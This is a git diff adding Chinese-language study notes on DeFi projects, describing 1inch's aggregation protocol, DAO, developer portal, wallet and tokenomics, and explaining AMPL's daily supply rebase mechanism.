+  通过自动化寻找最佳交易路径和拆分订单，1inch 协议能够为用户争取到更优的兑换比率，最大化输出代币数量。
+
+- **降低交易滑点：**  
+  由于单个大额交易可能在某个 DEX 中引起较大价格波动，拆分交易到多个流动性池中能够有效降低滑点风险，确保交易执行价格接近预期。
+
+- **提升交易效率：**  
+  聚合多家 DEX 的流动性，使得用户无需手动在不同平台间比较和切换，大幅简化了交易流程，并提高了整体交易效率。
+
+
+## 2. 工作原理与核心技术
+
+### 2.1 路径搜索算法
+
+1inch Aggregation Protocol 内置了一套先进的路径搜索算法，主要包括以下几个关键步骤：
+
+- **数据采集：**  
+  协议通过与多个 DEX 的智能合约接口进行交互，实时采集各平台的交易对价格、流动性、交易费用等数据。
+
+- **路径评估：**  
+  基于采集的数据，算法计算单个交易或拆分交易在各个 DEX 平台上执行的预期输出，并评估不同路径组合下的综合效果。
+
+- **路径优化：**  
+  利用动态规划或图论算法（如 Dijkstra 算法的变种），寻找能够最大化输出代币数量和最小化费用的最优交易路径。
+
+### 2.2 交易拆分与执行
+
+- **订单拆分：**  
+  为了应对单一交易在单个流动性池中可能产生的较大滑点，1inch 协议会将交易订单拆分成多个子订单，分别在不同的 DEX 上执行。这种拆分策略能够分散交易冲击，降低单个市场的流动性不足问题。
+
+- **路由聚合：**  
+  在拆分订单后，协议会计算每个子订单在各个 DEX 上的执行比例，确保最终所有子订单组合能够达到用户预期的兑换总额。
+
+- **多链路并行处理：**  
+  协议支持同时在多个 DEX 上发起交易，利用并行计算和链上多交易打包技术，提高交易速度并降低交易失败率。
+
+### 2.3 安全性与交易确认
+
+- **智能合约安全设计：**  
+  1inch Aggregation Protocol 的核心逻辑通过智能合约实现，这些合约经过多次审计和社区验证，确保在执行过程中不存在安全漏洞或恶意操控风险。
+
+- **滑点保护机制：**  
+  用户在提交交易时可以设置最大允许滑点（Slippage Tolerance），协议会在交易执行过程中严格按照预设阈值操作，如果市场波动超过用户容忍度，则交易自动中止，防止用户遭受不必要的损失。
+
+- **手续费优化：**  
+  通过订单拆分和多平台交易，1inch 协议还能够优化整体的交易手续费，确保在计算 gas 消耗和平台费用后，仍能为用户争取到最优交易结果。
+
+
+## 3. 生态系统与扩展功能
+
+### 3.1 跨链支持
+
+- **多链生态：**  
+  1inch Aggregation Protocol 除了在以太坊主网上运行外，还积极拓展到其他公链，如 Binance Smart Chain、Polygon 等，进一步扩展流动性来源，降低用户在跨链交易时的手续费和等待时间。
+
+- **跨链桥接：**  
+  利用跨链桥接技术，1inch 能够实现不同区块链之间的流动性整合，为用户提供更加灵活和广泛的交易选择。
+
+### 3.2 定制化与开放性
+
+- **API 与 SDK：**  
+  1inch 为开发者提供了丰富的 API 和 SDK，方便第三方应用或服务集成其聚合器功能。这种开放性促进了整个 DeFi 生态的协同发展。
+
+- **用户界面与体验优化：**  
+  除了核心协议外，1inch 还推出了用户友好的前端界面，帮助用户直观地查看最佳交易路径、订单拆分比例、预期收益等信息，提升整体用户体验。
+
+
+## 4. 优势与面临的挑战
+
+### 4.1 主要优势
+
+- **最优价格：**  
+  通过聚合多家 DEX 的流动性，用户能够获得更为优越的交易价格，比单一平台交易具有明显优势。
+
+- **滑点与费用降低：**  
+  订单拆分和路由优化策略能够显著降低交易滑点和手续费，特别适合大额交易或高频交易场景。
+
+- **开放透明：**  
+  作为开源项目，1inch 的智能合约和交易逻辑对社区公开透明，增强了用户信任和安全性。
+
+### 4.2 面临的挑战
+
+- **市场竞争：**  
+  目前 DeFi 领域竞争激烈，其他聚合器（如 Matcha、Paraswap 等）也在不断优化各自的聚合算法，1inch 需要持续创新以保持竞争优势。
+
+- **网络拥堵与高 gas 费：**  
+  在以太坊主网高峰期，网络拥堵和 gas 费用上升可能影响用户体验，跨链拓展和 Layer2 方案是未来的优化方向。
+
+- **流动性风险：**  
+  尽管聚合了多个平台的流动性，但在极端市场情况下，整体流动性不足仍可能导致交易执行不理想，协议需要不断优化路径算法和风险控制机制。
+
+
+## 5. 总结
+
+1inch Aggregation Protocol 作为去中心化交易聚合器，通过整合多个 DEX 的流动性和利用先进的路径搜索、订单拆分技术，为用户提供了最优的代币兑换路径，显著降低了交易滑点和手续费。其开放性、跨链扩展以及持续的技术创新，使其在 DeFi 生态中占据了重要地位。然而，在不断变化的市场环境中，1inch 仍需要面对网络拥堵、流动性风险以及市场竞争等挑战，并持续优化其协议设计和用户体验。
+
+通过对 1inch Aggregation Protocol 的详细介绍，我们可以看到其在 DeFi 领域中的核心作用和未来发展潜力，也为更多基于去中心化金融的应用提供了重要的技术支持和创新思路。
\ No newline at end of file
diff --git a/defi/1inch/dao.md b/defi/1inch/dao.md
new file mode 100644
index 000000000..f180c4b97
--- /dev/null
+++ b/defi/1inch/dao.md
@@ -0,0 +1,112 @@
+1inch DAO 是 1inch 生态系统中的去中心化自治组织，旨在赋予社区和代币持有者以权力，共同参与 1inch 协议及相关产品的治理和决策。通过 1inch DAO，社区成员可以对项目未来的发展方向、参数调整、资金分配、生态激励等关键事项进行讨论、提案和投票，从而实现真正的去中心化管理。下面将从多个维度详细介绍 1inch DAO 的背景、治理结构、代币经济模型、治理流程以及未来发展方向。
+
+
+
+## 1. 背景与成立目的
+
+- **生态去中心化的需求：**  
+  随着 DeFi 生态和去中心化应用的迅速发展，传统中心化决策模式已难以满足快速变化的市场需求和社区期望。1inch 团队希望通过建立 DAO，实现社区成员对项目治理的直接参与，确保协议决策更加透明、公正和高效。
+
+- **赋能社区：**  
+  1inch DAO 的成立旨在将项目的治理权下放给全球社区，让每位代币持有者都能对项目方向和资源分配拥有发言权。这不仅能增强社区的凝聚力，还能吸引更多开发者和用户参与生态建设，共同推动 1inch 的持续创新与发展。
+
+
+
+## 2. 治理结构与参与方式
+
+### 2.1 核心治理机制
+
+- **基于代币的治理：**  
+  1inch DAO 的治理权主要由 1INCH 原生代币持有者行使。代币持有者可以通过持有或委托 1INCH 代币参与提案讨论和投票表决，依据各自的代币数量行使不同权重的投票权。
+
+- **提案与投票：**  
+  社区成员或团队成员可以在 1inch DAO 内部提出治理提案，这些提案可能涉及协议升级、参数调整、费用结构优化、资金拨款、合作伙伴关系以及其他生态战略问题。提案发布后，经过预定的讨论和审议期，进入正式的投票阶段，所有 1INCH 持有者均可参与投票表决。提案的执行通常需要达到一定的投票支持率和 quorum 要求。
+
+- **委托投票机制：**  
+  对于不便主动参与治理的代币持有者，1inch DAO 支持委托投票（delegation）。持有者可以将投票权委托给他们信任的治理代表或社区专家，从而使治理决策更加专业和高效。
+
+### 2.2 治理平台与工具
+
+- **去中心化治理平台：**  
+  1inch DAO 通常依托去中心化治理平台（如 Snapshot）来发布提案和收集社区意见。Snapshot 平台以链下投票方式进行，但所有投票权重和结果均基于链上数据，保证了治理过程的公开透明和不可篡改性。
+
+- **治理论坛与讨论区：**  
+  除了正式的提案和投票渠道，1inch DAO 还建立了社区论坛和社交媒体群组，供社区成员进行充分讨论和意见交换。通过这些讨论区，成员可以对提案内容提出建议、改进方案或表达异议，为最终决策提供有价值的反馈。
+
+
+
+## 3. 代币经济模型与激励机制
+
+### 3.1 1INCH 代币作用
+
+- **治理权与投票权：**  
+  1INCH 代币不仅代表着生态内的价值凭证，同时也是参与 1inch DAO 治理决策的核心工具。持有者通过 1INCH 代币获取相应的投票权，对各项提案进行表决。
+
+- **激励机制：**  
+  为了鼓励社区积极参与治理，1inch DAO 设计了多层次的激励机制。例如，参与提案讨论、提交优质提案以及积极投票的用户可能获得额外代币奖励或其他生态福利。这种激励机制既保障了治理过程的活跃性，又有助于吸引更多高质量的治理建议。
+
+### 3.2 资金管理与生态基金
+
+- **DAO 资金池：**  
+  1inch DAO 管理着项目生态基金，该资金池用于资助生态建设、项目推广、社区激励、开发者支持以及其他战略性投入。资金使用决策也由 DAO 社区通过提案和投票方式进行决定，确保每一笔支出都经过社区审议和认可。
+
+- **透明的资金流动：**  
+  所有 DAO 资金的流动和使用情况均记录在链上或通过公开平台披露，确保社区成员可以随时查看资金去向，提高资金管理的透明度和信任度。
+
+
+
+## 4. 治理流程与决策实施
+
+### 4.1 提案流程
+
+1. **提案提交：**  
+   任何具备一定代币持有量的成员均可提交治理提案，提案内容需明确描述问题背景、改进建议、预期效果及实施方案，并附上相关数据和论据。
+
+2. **社区讨论与预审：**  
+   提案提交后，会在治理论坛或指定平台上进入公开讨论阶段，社区成员可以对提案进行评论、提出修改建议，并对其可行性和合理性进行评估。部分提案可能会经过初步审核或过滤，以确保内容质量和规范性。
+
+3. **正式投票：**  
+   讨论期结束后，符合条件的提案会进入正式投票阶段。所有 1INCH 持有者或委托代表按照各自持有量参与投票。投票期间，系统会自动统计投票数据，并在投票结束后公布结果。
+
+4. **执行与监督：**  
+   投票通过的提案由团队或指定的执行团队负责落地实施，同时 DAO 社区也会对执行过程进行监督，确保提案内容按照预定方案落实到位。
+
+### 4.2 决策执行与反馈机制
+
+- **智能合约执行：**  
+  部分治理决策（如协议参数调整、费用分配等）可以直接通过智能合约自动执行，减少人为干预，提高执行效率和准确性。
+
+- **社区反馈与持续改进：**  
+  执行过程中，社区会持续跟踪提案实施效果，并在后续讨论中反馈问题和改进建议。DAO 的动态调整机制使得项目能够根据实际运行情况不断优化和完善治理流程。
+
+
+
+## 5. 未来展望与挑战
+
+### 5.1 未来展望
+
+- **治理机制不断演进：**  
+  随着 DeFi 生态的不断成熟，1inch DAO 也将持续改进治理机制，探索诸如二次投票、模糊投票权重（如二次方投票权）等新型投票方式，以期实现更公平和高效的治理决策。
+
+- **跨链治理与多生态协同：**  
+  随着 1inch 不断拓展多链生态，未来 DAO 可能会面临跨链治理的需求，即在不同区块链上实现一致的治理体系，从而推动多个生态间的协同与合作。
+
+- **激励机制与社区参与：**  
+  未来将进一步完善代币激励与生态基金分配机制，激发更多社区成员参与治理决策，同时吸引优秀开发者和项目加入生态，共同推动 1inch 生态的创新与发展。
+
+### 5.2 面临的挑战
+
+- **低参与率问题：**  
+  许多 DAO 面临着治理参与率低的问题，如何设计激励机制，提高社区成员的积极性和参与度，是 1inch DAO 需要持续关注的重点。
+
+- **技术与安全风险：**  
+  DAO 在智能合约执行和跨链治理过程中，依然存在一定的技术漏洞和安全风险。定期的安全审计、风险评估和机制优化是确保 DAO 稳定运行的必要条件。
+
+- **治理效率与决策延迟：**  
+  去中心化治理模式往往决策流程较为冗长，如何在保障广泛参与的同时提高决策效率，将是 1inch DAO 持续改进的重要方向。
+
+
+
+## 总结
+
+1inch DAO 作为 1inch 生态中的去中心化治理平台，通过基于 1INCH 代币的治理权分配、开放透明的提案讨论与投票机制以及多层次的激励措施，真正实现了由社区主导的项目决策和生态建设。它不仅使项目治理更加民主和透明，也为整个生态的持续创新提供了强大的社区动力和资金支持。随着治理机制的不断完善和生态的不断扩展，1inch DAO 有望在未来成为 DeFi 领域内标杆性的自治治理模型，为其他项目提供宝贵的实践经验。
\ No newline at end of file
diff --git a/defi/1inch/developer portal.md b/defi/1inch/developer portal.md
new file mode 100644
index 000000000..b9e929afa
--- /dev/null
+++ b/defi/1inch/developer portal.md	
@@ -0,0 +1,106 @@
+1inch Developer Portal 是 1inch 团队为开发者打造的综合性技术入口，旨在帮助开发者便捷地接入和构建基于 1inch 生态的应用和服务。下面将从多个层面详细介绍 1inch Developer Portal 的功能、架构、使用流程以及生态支持等内容。
+
+
+## 1. 概述与定位
+
+- **开放生态的入口：**  
+  1inch Developer Portal 是 1inch 生态的重要组成部分，面向全球开发者开放，提供了详细的 API 文档、SDK、示例代码以及接入指南。通过这一门户，开发者能够充分利用 1inch 的聚合交易协议、跨链解决方案以及相关 DeFi 工具，快速构建自己的去中心化应用（DApp）。
+
+- **统一文档与资源中心：**  
+  门户整合了 1inch 各类技术资源，包括实时更新的 API 文档、开发者教程、常见问题解答（FAQ）以及代码示例，使开发者可以一站式获取所需信息，加速项目开发和集成。
+
+
+
+## 2. 核心功能
+
+### 2.1 API 与接口文档
+
+- **详细接口说明：**  
+  Developer Portal 提供了详尽的 API 文档，涵盖了从行情查询、订单路由、流动性数据、交易执行到跨链桥接等各类接口。每个 API 接口都附有请求参数说明、返回数据格式、调用示例以及错误码解释，帮助开发者迅速理解和使用相关服务。
+
+- **实时数据与历史数据支持：**  
+  开发者可以通过 API 调用获取实时市场数据、交易对信息和流动性状况，同时也能访问历史数据和统计信息，为数据分析和应用展示提供有力支持。
+
+### 2.2 SDK 与示例代码
+
+- **多语言 SDK：**  
+  为了降低接入门槛，1inch Developer Portal 提供了多语言支持的 SDK，包括 JavaScript、TypeScript、Python 等语言版本。这些 SDK 封装了常用功能，简化了与 1inch 智能合约和 API 的交互过程。
+
+- **开箱即用的示例代码：**  
+  门户内置了丰富的示例代码和项目模板，涵盖从简单的价格查询到复杂的订单拆分和跨链交易示例，帮助开发者迅速启动项目、学习最佳实践，并根据具体需求进行二次开发。
+
+### 2.3 开发者仪表盘与管理工具
+
+- **API Key 管理：**  
+  开发者可以在门户上申请和管理 API Key，通过控制台查看调用情况和流量统计。API Key 管理功能不仅方便监控接口使用情况，还能根据实际需要设置调用权限和速率限制，保障服务的稳定性与安全性。
+
+- **调用统计与监控：**  
+  仪表盘提供详细的调用统计数据和实时监控功能，让开发者能够及时了解自身应用的接口调用量、响应时间及错误情况，从而进行性能调优和问题排查。
+
+### 2.4 文档与社区支持
+
+- **技术文档与教程：**  
+  除了接口说明文档外，门户还提供了开发者指南、接入流程、常见问题解答以及最佳实践等内容，帮助新手快速上手，同时也为经验丰富的开发者提供深入技术参考。
+
+- **论坛与开发者社区：**  
+  1inch 还建立了专门的开发者社区和论坛，开发者可以在这里提问、分享经验、交流技术细节，并与 1inch 技术团队及其他开发者互动，共同推动生态建设与创新。
+
+
+
+## 3. 技术架构与实现原理
+
+- **模块化设计：**  
+  1inch Developer Portal 基于模块化设计理念，将 API、SDK、文档和管理工具各自解耦，使得系统具有良好的扩展性和维护性。每个模块均可以独立更新，而不会影响整体服务的稳定运行。
+
+- **与 1inch 聚合协议的深度集成：**  
+  开发者通过门户调用的 API 实际上与 1inch 聚合协议背后的智能合约及数据节点进行交互。无论是订单拆分、最佳路径查询还是跨链交易，所有核心逻辑都由 1inch 的底层技术保证执行效果，开发者无需关心底层实现细节。
+
+- **安全与权限控制：**  
+  门户采用行业标准的安全机制，包括 API 调用签名、访问令牌（Token）管理以及 HTTPS 加密传输，确保数据在传输和存储过程中的安全性。同时，通过权限控制和速率限制机制，防止滥用和恶意攻击。
+
+
+
+## 4. 如何开始使用 1inch Developer Portal
+
+### 4.1 注册与认证
+
+- **账户注册：**  
+  开发者首先需要在 Developer Portal 上注册账号，完成邮箱验证和身份认证（如适用），以便获得完整的访问权限和 API Key 管理功能。
+
+- **申请 API Key：**  
+  在控制台中申请 API Key，随后即可开始调用 1inch 提供的各类接口。API Key 是开发者与 1inch 服务之间的重要凭证，需妥善保存和使用。
+
+### 4.2 阅读文档与试用示例
+
+- **深入阅读文档：**  
+  在门户内详细浏览各类文档、教程和示例代码，理解 API 调用流程、参数设置和返回数据结构。建议开发者先在测试环境中尝试调用接口，验证功能和参数设置。
+
+- **利用 SDK 快速接入：**  
+  下载适合自己开发语言的 SDK，并参考示例代码进行项目接入。SDK 内部封装了常见功能调用，能够大幅降低开发难度和调试时间。
+
+### 4.3 集成与部署
+
+- **开发环境配置：**  
+  根据自身项目需求，配置好开发环境，确保网络连接和依赖库正确安装。利用 Developer Portal 提供的调试工具和日志系统，实时监控接口调用效果。
+
+- **部署上线：**  
+  在测试完成后，开发者可以将集成了 1inch 服务的应用部署到生产环境，并通过仪表盘监控运行情况，及时应对潜在问题。
+
+
+
+## 5. 生态合作与未来展望
+
+- **持续更新与新功能：**  
+  1inch Developer Portal 会不断更新接口、SDK 以及相关文档，推出新功能以满足不断扩展的 DeFi 应用场景。开发者可关注门户更新日志和官方公告，了解最新进展和功能优化。
+
+- **生态协同创新：**  
+  通过 Developer Portal，1inch 希望吸引全球开发者共同构建更丰富的 DeFi 生态。未来可能会推出更多社区活动、开发者大赛以及合作计划，激发创新和技术交流，推动整个生态系统的繁荣发展。
+
+- **跨链与多协议支持：**  
+  随着 1inch 不断拓展多链支持和跨链桥接技术，Developer Portal 也将逐步扩展新的 API 接口和接入方案，为开发者提供更多元化的服务支持，助力构建跨链 DeFi 生态。
+
+
+
+## 总结
+
+1inch Developer Portal 是一个面向开发者的一站式平台，通过详尽的 API 文档、丰富的 SDK 支持、示例代码和管理工具，帮助开发者轻松集成 1inch 生态的各项功能。从订单聚合、价格查询、流动性数据到跨链交易接口，门户全面覆盖了 1inch 生态的核心技术细节，同时提供完善的安全保障和社区支持。无论是个人开发者还是企业级应用，1inch Developer Portal 都为构建下一代去中心化金融产品提供了强大而灵活的技术平台。
\ No newline at end of file
diff --git a/defi/1inch/readme.md b/defi/1inch/readme.md
new file mode 100644
index 000000000..c383b8836
--- /dev/null
+++ b/defi/1inch/readme.md
@@ -0,0 +1,69 @@
+### **1inch 项目分析**
+
+#### **1. 项目概览**
+- **成立背景**: 1inch 由 Sergej Kunz 和 Anton Bukov 于 2019 年创立，旨在解决去中心化交易所（DEX）流动性碎片化问题，通过聚合多个 DEX 提供最优交易路径。
+- **核心定位**: 作为领先的 **DEX 聚合器**，1inch 通过智能算法整合以太坊、BNB Chain、Polygon 等多链流动性，优化交易价格并降低滑点。
+
+#### **2. 核心技术**
+- **路径优化算法 (Pathfinder)**:
+  - **多层级拆分**: 将大额订单拆分为多个子订单，跨不同 DEX（如 Uniswap、Curve、Balancer）执行，以获取最优价格。
+  - **动态调整**: 实时计算 Gas 成本、滑点及流动性深度，平衡速度与成本。
+  - **抗 MEV 设计**: 采用防抢跑技术，保护用户免受恶意机器人攻击。
+- **限价订单功能**:
+  - 支持自定义价格触发条件，利用链下预言机监控市场价格，达到条件后自动执行链上交易。
+
+#### **3. 代币经济模型 (1INCH)**
+- **总供应量**: 15 亿枚，通过流动性挖矿、治理奖励等逐步释放。
+- **核心功能**:
+  - **治理投票**: 持有者可提案及投票决定协议参数（如手续费分配、新链支持）。
+  - **手续费折扣**: 质押 1INCH 可享受交易手续费减免（最高 50%）。
+  - **流动性激励**: 提供流动性至 1inch 池的用户可获得 1INCH 奖励。
+- **分配比例**:
+  - 社区激励: 30% | 团队与顾问: 22.5% | 投资者: 21% | 生态基金: 26.5%。
+
+#### **4. 核心产品矩阵**
+- **1inch Aggregation Protocol**: 多链 DEX 聚合器，支持 10+ 主流区块链。
+- **1inch Wallet**: 非托管移动钱包，内置聚合交易、跨链桥接及 NFT 管理。
+- **1inch Developer Portal**: 提供 API 和 SDK，供开发者集成聚合交易功能。
+- **1inch DAO**: 完全去中心化治理，通过 Snapshot 和链上投票驱动协议升级。
+
+#### **5. 安全与审计**
+- **审计记录**: 由 CertiK、PeckShield 等顶级机构审计，关键合约代码开源。
+- **风险控制**:
+  - 支持交易预览，显示预估 Gas 和滑点。
+  - 用户可设置滑点容忍度（默认 1%），避免意外损失。
+
+#### **6. 竞争优势**
+- **全链覆盖**: 支持 Ethereum、BNB Chain、Polygon、Avalanche 等 10+ 网络。
+- **低滑点执行**: 大额交易优化能力远超单一 DEX，尤其适合机构用户。
+- **创新功能**:
+  - **Fusion 模式**: 采用荷兰拍模式，允许做市商竞争订单，进一步降低成本。
+  - **跨链 Swap**: 集成 Socket 技术，实现原生跨链资产兑换。
+
+#### **7. 生态合作与数据**
+- **TVL**: 超 $3 亿（2023Q3），聚合交易量占全市场 DEX 约 15%。
+- **合作伙伴**: 集成 200+ 流动性源，包括 Uniswap、PancakeSwap、Curve 等。
+- **投资方**: 获 Binance Labs、Pantera Capital 等机构融资，估值达 $22.5 亿（2021 年）。
+
+#### **8. 用户指南**
+- **使用场景**:
+  - **普通交易者**: 通过官网或钱包进行多链代币兑换。
+  - **开发者**: 调用 API 构建 DeFi 应用。
+  - **流动性提供者**: 质押资产至 1inch 池赚取收益。
+- **费用结构**:
+  - 基础手续费 0.1%-0.5%（因链而异），部分链（如 Polygon）提供零 Gas 费活动。
+
+#### **9. 未来路线图**
+- **zkSync Era 集成**: 拓展 Layer2 生态，降低以太坊主网交易成本。
+- **NFT 聚合交易**: 开发跨市场 NFT 价格聚合功能。
+- **机构级工具**: 推出大宗交易 OTC 服务和风险管理模块。
+
+#### **10. 风险提示**
+- **智能合约风险**: 尽管已审计，但复杂逻辑仍可能存在未知漏洞。
+- **监管不确定性**: 全球对 DeFi 监管政策变化可能影响协议运营。
+- **流动性依赖**: 依赖外部 DEX 流动性，极端市场条件下可能出现价格偏差。
+
+---
+
+### **总结**
+1inch 通过技术创新和全链布局，确立了其在 DEX 聚合赛道的领先地位。其核心价值在于为用户提供 **最优价格执行** 和 **低摩擦多链体验**，同时通过代币经济激励社区共建生态。随着 Layer2 和跨链技术的成熟，1inch 有望进一步扩大其在 DeFi 基础设施中的影响力。
\ No newline at end of file
diff --git a/defi/1inch/wallet.md b/defi/1inch/wallet.md
new file mode 100644
index 000000000..841f945e5
--- /dev/null
+++ b/defi/1inch/wallet.md
@@ -0,0 +1,81 @@
+对 1inch Wallet 的核心功能进行更为深入的剖析，重点探讨其在多链资产管理、内置 DeFi 功能、跨链交互以及安全保障等方面的底层设计和技术实现细节。
+
+
+## 1. 多链资产管理
+
+1inch Wallet 的多链资产管理不仅仅是对不同链资产的展示，而是在底层架构上实现了对多链数据的实时整合与高效管理：
+
+- **统一资产视图：**  
+  钱包通过整合各个支持链的节点数据和第三方 API，将用户在以太坊、BSC、Polygon 等多个链上的资产、交易记录、代币余额等信息汇总到一个统一的界面。这需要钱包在数据结构上设计一个通用的资产数据模型，同时针对各链的差异进行适配和标准化处理。
+
+- **实时数据同步与缓存：**  
+  为了保证展示的资产信息具有高时效性，1inch Wallet 内部集成了轻节点或使用高效的 API 服务进行实时数据查询，并结合本地缓存机制，在网络不稳定时依然能显示最近的数据快照。数据同步层通常采用异步轮询或订阅链上事件的方式，确保数据更新的及时性和准确性。
+
+- **分层存储与索引优化：**  
+  多链数据的存储与查询要求钱包具备良好的索引机制。1inch Wallet 可能会在本地建立轻量化数据库，用于缓存用户资产和交易数据，并结合链上查询进行比对和校验。这种设计不仅能减少网络请求带来的延迟，也提升了应用的响应速度。
+
+
+## 2. 内置 DeFi 功能
+
+1inch Wallet 内置的 DeFi 功能主要体现在对 1inch 聚合器功能的无缝集成，以及对其他 DeFi 协议（如流动性挖矿、质押、借贷等）的入口支持：
+
+- **交易聚合与订单优化：**  
+  - **实时调用聚合器：** 钱包内嵌调用 1inch Aggregation Protocol 的接口，在用户发起代币兑换时，先查询多个 DEX 的实时价格、流动性及交易费用信息。  
+  - **订单拆分与路径规划：** 1inch 聚合器通过先进的算法自动计算出最佳交易路径，将单笔大额订单拆分为多个子订单，分布在不同的交易池中执行，从而降低交易滑点和总体成本。  
+  - **交易预览与风险提示：** 钱包界面会直观展示预期的兑换比例、拆分方案以及可能的手续费，让用户在确认交易前对交易路径和成本有清晰了解。
+
+- **DeFi 入口的深度集成：**  
+  - **多协议支持：** 除了内置的聚合交易功能，1inch Wallet 还为用户提供直接参与其他 DeFi 协议的入口。例如，用户可以直接在钱包中选择参与流动性挖矿或质押，并且通过接口查询实时收益数据。  
+  - **数据联动与收益追踪：** 钱包会动态展示用户参与 DeFi 活动的各项收益指标、风险参数和历史绩效报告，背后则是与各协议智能合约实时交互的数据聚合能力。
+
+- **智能路由与自动化策略：**  
+  - **参数自适应：** 根据当前市场波动和流动性状况，1inch Wallet 能够动态调整聚合器的参数，如最大滑点、订单拆分比例等，从而为用户提供定制化的交易策略。  
+  - **一键参与：** 针对不同的 DeFi 活动，钱包设计了一键式入口，降低用户参与复杂度，让用户无需离开钱包界面即可完成从交易到资产增值的整个流程。
+
+
+## 3. 跨链交互与桥接技术
+
+跨链操作是当前 DeFi 用户迫切需求的一大亮点，1inch Wallet 在这一领域做了较深入的技术探索：
+
+- **跨链桥集成：**  
+  - **桥接协议对接：** 1inch Wallet 内部集成了多种跨链桥接方案，用户可以在不同链之间轻松转移资产。底层实现上，钱包调用专门的跨链桥智能合约或中继服务，实现资产锁定与释放的双向映射。  
+  - **费用与速度优化：** 跨链桥往往涉及不同链上的手续费和确认时间，钱包通过对比多条链的实时网络状态，帮助用户选择成本更低、速度更快的桥接方案。
+
+- **统一交互界面：**  
+  用户在操作时无需关心底层跨链协议的复杂性，钱包通过统一的操作界面将所有跨链流程标准化，从资产锁定、等待跨链确认到目标链资产释放，全流程自动化处理，同时在后台提供详细的进度反馈。
+
+- **安全监控与错误处理：**  
+  跨链操作具有一定风险，1inch Wallet 在设计上引入了多重安全监控机制。包括对跨链桥的交易状态进行实时监控、超时处理以及失败回滚方案，确保在异常情况下用户的资产安全能得到保障。
+
+
+## 4. 安全与隐私保护
+
+在安全性方面，1inch Wallet 致力于构建一个多重保障、用户可控的安全架构：
+
+- **本地私钥管理：**  
+  - **加密存储：** 钱包采用本地设备加密技术存储私钥和助记词，通常结合设备安全模块（如硬件安全模块 HSM）或系统级加密存储（如 iOS 的 Secure Enclave 和 Android 的 KeyStore）实现。  
+  - **离线签名：** 所有交易签名操作都在本地完成，私钥绝不会离开用户设备，降低了密钥泄露风险。
+
+- **多重认证与签名机制：**  
+  - **多签支持：** 针对高额交易或机构级账户，钱包可能支持多重签名功能，要求多个密钥共同确认交易，进一步提升安全级别。  
+  - **生物识别认证：** 集成指纹、面部识别等生物认证手段，为用户提供便捷且安全的身份验证。
+
+- **实时安全监控与告警系统：**  
+  - **异常行为检测：** 钱包内部集成异常交易检测机制，对可能的恶意操作进行预警。例如，当检测到异常登录或非正常交易行为时，系统会自动弹出安全提醒并可能冻结相关操作。  
+  - **合约审计与透明度：** 作为 1inch 生态的一部分，其核心智能合约经过第三方审计，钱包内对涉及的合约调用也会有相应的风险提示，提升整体透明度与用户信任。
+
+- **数据隐私保护：**  
+  - **本地化数据存储：** 除非用户主动同步，钱包不会将个人资产数据上传至服务器，确保用户交易和资产信息的隐私性。  
+  - **去中心化身份（DID）集成：** 在未来版本中，1inch Wallet 可能会探索与去中心化身份认证技术结合，为用户提供更细粒度的数据隐私管理与身份保护。
+
+
+## 总结
+
+通过对 1inch Wallet 核心功能的深入分析，可以看到其在多链资产管理、内置 DeFi 功能、跨链交互以及安全防护等各方面均做了精细设计和高效实现：
+
+- **多链资产管理** 方面，采用统一数据模型、实时同步、分层存储和索引优化，实现了跨链资产的高效管理；
+- **内置 DeFi 功能** 则通过与聚合器和各类 DeFi 协议的深度集成，提供一站式交易和资产增值入口，同时结合自动化策略为用户提供定制化的交易体验；
+- **跨链交互** 方面，通过集成多种桥接协议和优化跨链流程，为用户实现无缝资产转移和跨链操作提供了坚实支持；
+- **安全与隐私保护** 则贯穿整个钱包设计，从本地私钥管理、离线签名、多重认证，到实时监控和数据隐私保护，多层次构建起一个高安全性的使用环境。
+
+这一系列深度优化和技术实现，使 1inch Wallet 不仅能满足普通用户对资产管理和 DeFi 参与的需求，同时也为高级用户和机构提供了更高的安全性和更丰富的功能扩展空间。
\ No newline at end of file
diff --git a/defi/AMPL/read.md b/defi/AMPL/read.md
new file mode 100644
index 000000000..9b66122cc
--- /dev/null
+++ b/defi/AMPL/read.md
@@ -0,0 +1,47 @@
+# AMPL
+## 简介
+以固定供应资产作为支撑的金融生态体系在面对需求冲击时，其系统稳定性往往会遭到破坏性打击。并且生态系统的复杂程度越高，引发负面连锁反应的风险就越大。
+为解决这一问题，AMPL具有一种能力：“可以因应市场需求，自动且公平地对其供应量进行调整，同时无需任何银行介入”。
+AMPL的设计目的正在于此，即以最为简单直接的方式解决非弹性供应缺陷，从根本上去除束缚在黄金和比特币这类固定供应资产身上的枷锁。
+AMPL是如何实现这个目标的呢？
+是通过每天不断调整AMPL发行量来实现目标的，这个过程叫做Rebase(重新设定).
+同为加密货币，AMPL与比特币最大的区别在于：以天为单位，无间断对供应量进行调整。
+
+**举例** 
+假设美联储额外印制总供应量 5% 的美元以满足增加的需求，这额外的 5% 将按比例分配到所有持有美元的账户中，所以如果你的银行账户中有 1000 美元，
+在供应量变化后，最终会得到 1050 美元。这种情况我们就可以理解为美元不会被稀释，因为调整后你在整个美元供应中的比例保持不变。
+
+总结一下：比特币没有弹性、没有稀释性，美元等货币有弹性、有稀释性，而 Ampleforth 是有弹性，没有稀释性，
+所以即使你的 AMPL 代币数量自动变化，你拥有的货币量在整体中的比例始终不变。
+
+通胀和通缩是通过协议中的 Rebase 函数自动实现的。每天大约在 UTC 时间凌晨 2 点（北京时间上午 10 点），可以调用 Rebase 函数。  
+该功能利用价格预言机来获得目标价格和 AMPL 的当前价格——24 小时的成交量加权平均价格。如果 AMPL 的当前价格在目标价格的 5% 以内，
+该算法将该状态划分为平衡状态，并且不改变 AMPL 的供应。如果当前价格高于（目标价格+5%目标价格），则供给扩大，如果当前价格低于（目标价格-5%目标价格），则供给收缩。
+
+
+**Rebase的依据是什么**
+Rebase的依据是前一天的24小时的 Ampl价格,这个价格是通过一个加权算法得到的。可以直接把它简单也理解成一个平均价X。
+Rebase比例=(平均价X-目标价1.021)/10  
+
+比如北京时间今天10点到明天10点的AMPL的平均价是2美金，
+那么rebase比例就约等于（2-1）/10=10%，  
+阻尼因子是用来避免供给的急剧变化。比如说，该协议将供应变化分 10 天实施。
+明天10点ampl的量就会在今天的基础上通过rebase增加10%。
+
+
+### 算稳基础性原理
+1. 市面上有两种算法稳定币，一种是ampl；一种是esd\bac等复合型稳定币。自从ampl提出rebase的概念之后，今年仿盘最多的就是rebase概念稳定币了。
+2. ampl锚定的是2019年一美元的实际购买力，这与一美元是两回事，所以今年1ampl的rebase中间值略微高于1美元了，只要美元不断印，这个中间值就会不断偏移，以后可能是1.1美元、1.5美元
